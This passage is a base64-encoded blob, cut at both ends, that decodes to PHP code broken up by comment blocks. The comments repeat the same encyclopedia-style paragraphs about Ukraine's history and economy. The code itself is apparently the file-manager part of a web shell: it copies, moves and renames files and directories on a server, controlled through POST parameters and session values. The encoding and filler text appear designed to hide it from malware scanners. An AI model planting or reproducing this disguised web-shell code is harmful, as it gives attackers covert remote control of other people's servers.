cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCQljb3B5X3Bhc3RlKCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CQkJCQkKCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkJCSRoID0gb3BlbmRpcigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKCQkJCQkJCQl9CgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCQlAcmVuYW1lKCRfU0VTU0lPTlsnY3dkJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7CgkJCQl9CgkJCQl1bnNldCgkX1NFU1NJT05bJ2YnXSk7CgkJCQlicmVhazsKCQkJZGVmYXVsdDoKCQkJCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICgoJF9QT1NUWydwMSddID09ICdjb3B5Jyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ21vdmUnKSkgKSB7CgkJCQkJJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107CgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2